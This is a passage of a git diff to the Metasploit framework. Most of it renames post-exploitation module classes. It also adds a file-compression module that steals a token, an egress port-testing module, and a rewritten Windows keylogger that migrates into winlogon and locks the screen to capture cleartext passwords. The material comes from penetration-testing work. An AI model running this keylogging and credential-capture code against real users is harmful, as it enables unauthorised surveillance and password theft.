"\n"}") + end + + @token_stolen = true + end + + def upload_exec_vbs_zip + if is_system? + unless session + print_error('Unable to decompress with VBS technique without Meterpreter') + return + end + + steal_token + end + + script = vbs(datastore['DESTINATION'], datastore['SOURCE']) + tmp_path = "#{get_env('TEMP')}\\zip.vbs" + print_status("VBS file uploaded to #{tmp_path}") + write_file(tmp_path, script) + cmd_exec("wscript.exe #{tmp_path}") + end + + def do_7zip + program_file_path = get_program_file_path + output = cmd_exec("#{program_file_path}\\7-Zip\\7z.exe a -tzip \"#{datastore['DESTINATION']}\" \"#{datastore['SOURCE']}\"") + vprint_line(output) + end + + def do_zip + output = cmd_exec("zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}") + vprint_line(output) + end + + def windows_zip + if has_7zip? + print_status("Compressing #{datastore['DESTINATION']} via 7zip") + do_7zip + else + print_status("Compressing #{datastore['DESTINATION']} via VBS") + upload_exec_vbs_zip + end + end + + def linux_zip + print_status("Compressing #{datastore['DESTINATION']} via zip") + do_zip + end + + def cleanup + if @token_stolen && session + session.sys.config.revert_to_self + print_status('Token restored.') + end + + super + end + + def run + @token_stolen = false + + os = get_target_os + case os + when Msf::Module::Platform::Windows.realname.downcase + windows_zip + else + linux_zip + end + end + +end + diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index 823c8b71e4..eeb0a2087a 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -7,7 +7,7 @@ require 'msf/core' include Msf::Auxiliary::Report -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/multi/recon/multiport_egress_traffic.rb b/modules/post/multi/recon/multiport_egress_traffic.rb new file mode 100644 index 0000000000..128d93d346 --- /dev/null +++ b/modules/post/multi/recon/multiport_egress_traffic.rb @@ -0,0 +1,208 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class MetasploitModule < Msf::Post + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Generate TCP/UDP Outbound Traffic On Multiple Ports', + 'Description' => %q( + This module generates TCP or UDP traffic across a + sequence of ports, and is useful for finding firewall + holes and egress filtering. It only generates traffic + on the port range you specify. It is up to you to + run a responder or packet capture tool on a remote + endpoint to determine which ports are open. + ), + 'License' => MSF_LICENSE, + 'Author' => 'Stuart Morgan ', + 'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ], + 'SessionTypes' => ['meterpreter'] + )) + + register_options( + [ + OptAddress.new('TARGET', [ true, 'Destination IP address.']), + OptString.new('PORTS', [true, 'Ports to test.', '22,23,53,80,88,443,445,33434-33534']), + OptEnum.new('PROTOCOL', [ true, 'Protocol to use.', 'TCP', [ 'TCP', 'UDP', 'ALL' ]]), + OptEnum.new('METHOD', [ true, 'The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only).', 'NATIVE', [ 'NATIVE', 'WINAPI' ]]), + OptInt.new('THREADS', [true, 'Number of simultaneous threads/connections to try.', '20']) + ], self.class) + end + + def winapi_create_socket(proto) + if proto == 'TCP' + client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') + elsif proto == 'UDP' + client.railgun.ws2_32.socket('AF_INET', 'SOCK_DGRAM', 'IPPROTO_UDP') + end + end + + def native_init_connect(proto, ip, port, num, gw) + vprint_status("[#{num}:NATIVE] Connecting to #{ip} port #{proto}/#{port}") + if proto == 'TCP' + begin + Rex::Socket::Tcp.create( + 'Comm' => gw, + 'PeerHost' => ip, + 'PeerPort' => port + ) + rescue + vprint_status("[#{num}:NATIVE] Error connecting to #{ip} #{proto}/#{port}") + end + elsif proto == 'UDP' + begin + rudp = Rex::Socket::Udp.create( + 'Comm' => gw, + 'PeerHost' => ip, + 'PeerPort' => port + ) + rudp.sendto('.', ip, port, 0) if rudp + rescue + vprint_status("[#{num}:NATIVE] Error connecting to #{ip} #{proto}/#{port}") + end + end + end + + def winapi_make_connection(remote, dst_port, socket_handle, proto) + sock_addr = "\x02\x00" + sock_addr << [dst_port].pack('n') + sock_addr << Rex::Socket.addr_aton(remote) + sock_addr << "\x00" * 8 + return client.railgun.ws2_32.connect(socket_handle, sock_addr, 16) if proto == 'TCP' + return client.railgun.ws2_32.sendto(socket_handle, ".", 0, 0, sock_addr, 16) if proto == 'UDP' + end + + def run + type = datastore['METHOD'] + remote = datastore['TARGET'] + thread_num = datastore['THREADS'] + proto = datastore['PROTOCOL'] + + unless client.type == "meterpreter" + print_error("This module requires meterpreter") + return + end + + # If we want WINAPI egress, make sure winsock is loaded + if type == 'WINAPI' + unless client.railgun.ws2_32 && client.platform =~ /win/ + print_error("The WINAPI method requires Windows, railgun and support for winsock APIs. Try using the NATIVE method instead.") + return + end + end + + if client.platform =~ /python/ + print_error("This module cannot be used with python meterpreter at present") + return + end + + ports = Rex::Socket.portspec_crack(datastore['PORTS']) + + workload_ports = [] + workload_cycle = 0 + completed_cycle = false + + if thread_num > 1 + # Now we need to divvy up the ports into pots for each thread + while !ports.nil? && !ports.empty? + + # If that group hasn't had its own ports array yet, give it some + workload_ports[workload_cycle] = [] if workload_ports[workload_cycle].nil? + + # Add the port to the array to test + workload_ports[workload_cycle] << ports.shift + + # Now increase the cycle until it goes above threads + workload_cycle += 1 + if workload_cycle >= thread_num + completed_cycle = true + workload_cycle = 0 + end + + end + + if completed_cycle == false && thread_num > workload_cycle + thread_num = workload_cycle + vprint_status("Reduced threads to #{thread_num}.") + else + vprint_status("Number of threads: #{thread_num}.") + end + end + + gw = 0 + if type == 'NATIVE' + unless (gw = framework.sessions.get(datastore['SESSION'])) && (gw.is_a?(Msf::Session::Comm)) + print_error("Error getting session to route egress traffic through to #{remote}") + return + end + end + + str_proto = (proto == 'ALL') ? 'TCP and UDP' : proto + + print_status("Generating #{str_proto} traffic to #{remote}...") + if thread_num > 1 + a = [] + 0.upto(thread_num - 1) do |num| + a << framework.threads.spawn("Module(#{refname})-#{remote}-#{proto}", false, workload_ports[num]) do |portlist| + portlist.each do |dport| + egress(type, proto, remote, dport, num, gw) + end + end + end + a.map(&:join) + else + ports.each do |dport| + egress(type, proto, remote, dport, 1, gw) + end + end + + print_status("#{str_proto} traffic generation to #{remote} completed.") + end + + # This will generate a single packet, selecting the correct methodology + def egress(type, proto, remote, dport, num, gw) + if type == 'WINAPI' + if proto == 'ALL' + winapi_egress_to_port('TCP', remote, dport, num) + winapi_egress_to_port('UDP', remote, dport, num) + else + winapi_egress_to_port(proto, remote, dport, num) + end + elsif type == 'NATIVE' + if proto == 'ALL' + native_init_connect('TCP', remote, dport, num, gw) + native_init_connect('UDP', remote, dport, num, gw) + else + native_init_connect(proto, remote, dport, num, gw) + end + end + end + + # This will generate a packet on proto to IP on port + def winapi_egress_to_port(proto, remote, dport, num) + socket_handle = winapi_create_socket(proto) + if socket_handle['return'] == 0 + vprint_status("[#{num}:WINAPI] Error setting up socket for #{remote}; Error: #{socket_handle['GetLastError']}") + return + else + vprint_status("[#{num}:WINAPI] Set up socket for #{remote} port #{proto}/#{dport} (Handle: #{socket_handle['return']})") + end + + vprint_status("[#{num}:WINAPI] Connecting to #{remote}:#{proto}/#{dport}") + r = winapi_make_connection(remote, dport, socket_handle['return'], proto) + if r['GetLastError'] == 0 + vprint_status("[#{num}:WINAPI] Connection packet sent successfully #{proto}/#{dport}") + else + vprint_status("[#{num}:WINAPI] There was an error sending a connect packet for #{proto} socket (port #{dport}) Error: #{r['GetLastError']}") + end + + client.railgun.ws2_32.closesocket(socket_handle['return']) + end +end diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index 2d11de9201..d5438ac54e 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 2f7e3c1710..f4c01bd106 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -5,7 +5,7 @@ require 'shellwords' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/capture/screen.rb b/modules/post/osx/capture/screen.rb index 02ce7c8cdf..8ef051870a 100644 --- a/modules/post/osx/capture/screen.rb +++ b/modules/post/osx/capture/screen.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Post cmd_exec("mkdir -p #{tmp_path}") filename = Rex::Text.rand_text_alpha(7) file = "#{tmp_path}/#{filename}" - cmd_exec("#{exe_path} -C -t #{file_type} #{file}") + cmd_exec("#{exe_path} -x -C -t #{file_type} #{file}") data = read_file(file) file_rm(file) rescue ::Rex::Post::Meterpreter::RequestError => e diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index 88546475f6..708cfde81d 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File # extract/verify by by XORing your kcpassword with your password diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index f6b668343a..f498e9dee0 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index 3a59f7ae1e..795098850d 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index f572a2d64a..9022522173 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 27197533b5..6e46582d28 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index a4fbe15cc5..93b173aea9 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::OSX::System include Msf::Exploit::FileDropper diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index fa87e2c46c..5266ef606a 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -53,7 +53,6 @@ class Metasploit3 < Msf::Post #parse the dslocal plist in lion def read_ds_xml_plist(plist_content) - require "rexml/document" doc = REXML::Document.new(plist_content) @@ -132,11 +131,7 @@ class Metasploit3 < Msf::Post when /shell/ osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp end - if osx_ver =~/Server/ - return true - else - return false - end + return osx_ver =~/Server/ end # Enumerate the OS Version @@ -148,13 +143,10 @@ class Metasploit3 < Msf::Post when /shell/ osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp end - return osx_ver_num end def enum_conf(log_folder) - - session_type = session.type profile_datatypes = { 'OS' => 'SPSoftwareDataType', 'Network' => 'SPNetworkDataType', @@ -188,11 +180,11 @@ class Metasploit3 < Msf::Post profile_datatypes.each do |name, profile_datatypes| print_status("\tEnumerating #{name}") # Run commands according to the session type - if session_type =~ /meterpreter/ + if session.type =~ /meterpreter/ returned_data = cmd_exec('system_profiler', profile_datatypes) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) - elsif session_type =~ /shell/ + elsif session.type =~ /shell/ begin returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}", 15) # Save data lo log folder @@ -207,11 +199,11 @@ class Metasploit3 < Msf::Post print_status("\tEnumerating #{name}") # Run commands according to the session type begin - if session_type =~ /meterpreter/ + if session.type =~ /meterpreter/ command_output = cmd_exec(command[0],command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) - elsif session_type =~ /shell/ + elsif session.type =~ /shell/ command_output = cmd_exec(command[0], command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) @@ -222,9 +214,7 @@ class Metasploit3 < Msf::Post end end - def enum_accounts(log_folder,ver_num) - # Specific commands for Leopard and Snow Leopard leopard_commands = { 'Users' => ['/usr/bin/dscacheutil', '-q user'], @@ -261,13 +251,11 @@ class Metasploit3 < Msf::Post file_local_write(log_folder + "//#{name}.txt", command_output) end end - end # Method for getting SSH and GPG Keys def get_crypto_keys(log_folder) - # Run commands according to the session type if session.type =~ /shell/ @@ -349,7 +337,6 @@ class Metasploit3 < Msf::Post end end end - end end end @@ -381,7 +368,6 @@ class Metasploit3 < Msf::Post end end print_status("Screenshot Captured") - end end diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 4125e961ac..7d169c573a 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/auxiliary/report' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post # set of accounts to ignore while pilfering data OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"] diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 1ba4c2be21..fd0474bd38 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index 1763927d2d..f3ee160251 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -157,7 +157,7 @@ class Metasploit3 < Msf::Post # Runs the module # def run - cred_tbl = Rex::Ui::Text::Table.new({ + cred_tbl = Rex::Text::Table.new({ 'Header' => 'Credentials', 'Indent' => 1, 'Columns' => ['Domain', 'Username', 'Password'] diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index 4db60b33c1..b6751b6d7e 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post # list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored. FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp) diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 6cf17e92ed..85f702f928 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'shellwords' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::OSX::RubyDL diff --git a/modules/post/osx/manage/vpn.rb b/modules/post/osx/manage/vpn.rb index cff9656d91..c7d095ba0b 100644 --- a/modules/post/osx/manage/vpn.rb +++ b/modules/post/osx/manage/vpn.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 973e2b24f7..5b8f9be4f1 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'shellwords' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::OSX::RubyDL diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index 6a8a049fbe..cf2796a0c7 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Solaris::Priv diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index 9f3895a9a2..3e7857ba1a 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Solaris::System diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index cdbd17dd57..322d754938 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Solaris::System diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index 85e30d43b8..94f85bb769 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Solaris::Priv diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index 857ae41b71..a30da1309b 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::File @@ -22,10 +22,11 @@ class Metasploit3 < Msf::Post to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text - password. + password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Carlos Perez '], + 'Author' => [ 'Carlos Perez ', + 'Josh Hale '], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', ] @@ -34,7 +35,7 @@ class Metasploit3 < Msf::Post [ OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]), OptBool.new('MIGRATE', [false, 'Perform Migration.', false]), - OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]), + OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]), OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]), OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID', 'explorer', ['explorer','winlogon','pid']]) @@ -42,41 +43,63 @@ class Metasploit3 < Msf::Post ], self.class) register_advanced_options( [ - OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]) + OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]), + OptEnum.new('TimeOutAction', [true, 'Action to take when session response timeout occurs.', + 'wait', ['wait','exit']]) ], self.class) end - # Run Method for when run command is issued def run - print_status("Executing module against #{sysinfo['Computer']}") if datastore['MIGRATE'] - case datastore['CAPTURE_TYPE'] - when "explorer" - process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN']) - when "winlogon" - process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN']) - when "pid" - if datastore['PID'] and has_pid?(datastore['PID']) - pid_migrate(datastore['PID']) - else - print_error("If capture type is pid you must provide a valid one") - return - end + if datastore['CAPTURE_TYPE'] == "pid" + return unless migrate_pid(datastore['PID'], session.sys.process.getpid) + else + return unless process_migrate end - end - if startkeylogger - keycap(datastore['INTERVAL'],set_log) + lock_screen if datastore['LOCKSCREEN'] && get_process_name == "winlogon.exe" + + if start_keylogger + @logfile = set_log + keycap end end - # Returns the path name to the stored loot filename + # Initial Setup values + # + # @return [void] A useful return value is not expected here + def setup + @logfile = nil + @timed_out = false + @timed_out_age = nil # Session age when it timed out + @interval = datastore['INTERVAL'].to_i + @wait = datastore['TimeOutAction'] == "wait" ? true : false + + if @interval < 1 + print_error("INTERVAL value out of bounds. Setting to 5.") + @interval = 5 + end + end + + # This function sets the log file and loot entry. + # + # @return [StringClass] Returns the path name to the stored loot filename def set_log - store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes") + store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\n\n", "keystrokes.txt", "User Keystrokes") end + # This writes a timestamp event to the output file. + # + # @return [void] A useful return value is not expected here + def time_stamp(event) + file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n") + end + + # This locks the Windows screen if so requested in the datastore. + # + # @return [void] A useful return value is not expected here def lock_screen print_status("Locking the desktop...") lock_info = session.railgun.user32.LockWorkStation() @@ -87,116 +110,251 @@ class Metasploit3 < Msf::Post end end - # Method to Migrate in to Explorer process to be able to interact with desktop - def process_migrate(captype,lock) - print_status("Migration type #{captype}") - #begin - if captype == "explorer" - process2mig = "explorer.exe" - elsif captype == "winlogon" + # This function returns the process name that the session is running in. + # + # Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. + # + # @return [String Class] the session process's name + # @return [NilClass] Session match was not found + def get_process_name + processes = client.sys.process.get_processes + current_pid = session.sys.process.getpid + processes.each do |proc| + return proc['name'] if proc['pid'] == current_pid + end + return nil + end + + # This function evaluates the capture type and migrates accordingly. + # In the event of errors, it will default to the explorer capture type. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def process_migrate + captype = datastore['CAPTURE_TYPE'] + + if captype == "winlogon" if is_uac_enabled? and not is_admin? - print_error("UAC is enabled on this host! Winlogon migration will be blocked.") - - end - process2mig = "winlogon.exe" - if lock - lock_screen - end - else - process2mig = "explorer.exe" - end - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...") - session.core.migrate(x['pid'].to_i) - print_status("Migration successful!!") + print_error("UAC is enabled on this host! Winlogon migration will be blocked. Exiting...") + return false + else + return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid) end end - return true + + return migrate(get_pid("explorer.exe"), "explorer.exe", session.sys.process.getpid) end - # Method for migrating in to a PID - def pid_migrate(pid) - print_status("\tMigrating into #{pid}...") - session.core.migrate(pid) - print_status("Migration successful!") + # This function returns the first process id of a process with the name provided. + # It will make sure that the process has a visible user meaning that the session has rights to that process. + # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. + # + # @return [Fixnum] the PID if one is found + # @return [NilClass] if no PID was found + def get_pid(proc_name) + processes = client.sys.process.get_processes + processes.each do |proc| + if proc['name'] == proc_name && proc['user'] != "" + return proc['pid'] + end + end + return nil end - # Method for starting the keylogger - def startkeylogger() - begin - #print_status("Grabbing Desktop Keyboard Input...") - #session.ui.grab_desktop - print_status("Starting the keystroke sniffer...") - session.ui.keyscan_start + # This function attempts to migrate to the specified process by Name. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def migrate(target_pid, proc_name, current_pid) + if !target_pid + print_error("Could not migrate to #{proc_name}. Exiting...") + return false + end + + print_status("Trying #{proc_name} (#{target_pid})") + + if target_pid == current_pid + print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true - rescue - print_error("Failed to start the keystroke sniffer: #{$!}") + end + + begin + client.core.migrate(target_pid) + print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") + return true + rescue Rex::Post::Meterpreter::RequestError => error + print_error("Could not migrate to #{proc_name}. Exiting...") + print_error(error.to_s) return false end end - # Method for writing found keystrokes - def write_keylog_data(logfile) - data = session.ui.keyscan_dump - outp = "" - data.unpack("n*").each do |inp| - fl = (inp & 0xff00) >> 8 - vk = (inp & 0xff) - kc = VirtualKeyCodes[vk] - - f_shift = fl & (1<<1) - f_ctrl = fl & (1<<2) - f_alt = fl & (1<<3) - - if(kc) - name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) - case name - when /^.$/ - outp << name - when /shift|click/i - when 'Space' - outp << " " - else - outp << " <#{name}> " - end - else - outp << " <0x%.2x> " % vk - end + # This function attempts to migrate to the specified process by PID only. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def migrate_pid(target_pid, current_pid) + if !target_pid + print_error("Could not migrate to PID #{target_pid}. Exiting...") + return false end - sleep(2) - if not outp.empty? - print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes'] - file_local_write(logfile,"#{outp}\n") + if !has_pid?(target_pid) + print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...") + return false + end + + print_status("Trying PID: #{target_pid}") + + if target_pid == current_pid + print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") + return true end - end - # Method for Collecting Capture - def keycap(keytime, logfile) begin - rec = 1 - #Creating DB for captured keystrokes - print_status("Keystrokes being saved in to #{logfile}") - #Inserting keystrokes every number of seconds specified - print_status("Recording keystrokes...") - while rec == 1 - write_keylog_data(logfile) - sleep(keytime.to_i) - end - rescue::Exception => e - print_status "Saving last few keystrokes..." - write_keylog_data(logfile) - print_status("#{e.class} #{e}") - print_status("Stopping keystroke sniffer...") - session.ui.keyscan_stop + client.core.migrate(target_pid) + print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") + return true + rescue Rex::Post::Meterpreter::RequestError => error + print_error("Could not migrate to PID #{target_pid}. Exiting...") + print_error(error.to_s) + return false end end - def cleanup - session.ui.keyscan_stop rescue nil + # This function starts the keylogger + # + # @return [TrueClass] keylogger started successfully + # @return [FalseClass] keylogger failed to start + def start_keylogger + session.ui.keyscan_stop rescue nil #Stop keyscan if it was already running for some reason. + begin + print_status("Starting the keylog recorder...") + session.ui.keyscan_start + return true + rescue + print_error("Failed to start the keylog recorder: #{$!}") + return false + end end + # This function dumps the keyscan and uses the API function to parse + # the extracted keystrokes. + # + # @return [void] A useful return value is not expected here + def write_keylog_data + output = session.ui.keyscan_extract(session.ui.keyscan_dump) + + if not output.empty? + print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes'] + file_local_write(@logfile,"#{output}\n") + end + end + + # This function manages the key recording process + # It stops the process if the session is killed or goes stale + # + # @return [void] A useful return value is not expected here + def keycap + rec = 1 + print_status("Keystrokes being saved in to #{@logfile}") + print_status("Recording keystrokes...") + + while rec == 1 + begin + sleep(@interval) + if session_good? + write_keylog_data + else + if !session.alive? + vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.") + rec = 0 + end + end + rescue::Exception => e + if e.class.to_s == "Rex::TimeoutError" + @timed_out_age = get_session_age + @timed_out = true + + if @wait + time_stamp("timed out - now waiting") + vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...") + else + time_stamp("timed out - exiting") + print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.") + rec = 0 + end + elsif e.class.to_s == "Interrupt" + print_status("User interrupt.") + rec = 0 + else + print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...") + @timed_out = true + rec = 0 + end + end + end + end + + # This function returns the number of seconds since the last time + # that the session checked in. + # + # @return [Integer Class] Number of seconds since last checkin + def get_session_age + return Time.now.to_i - session.last_checkin.to_i + end + + # This function makes sure a session is still alive acording to the Framework. + 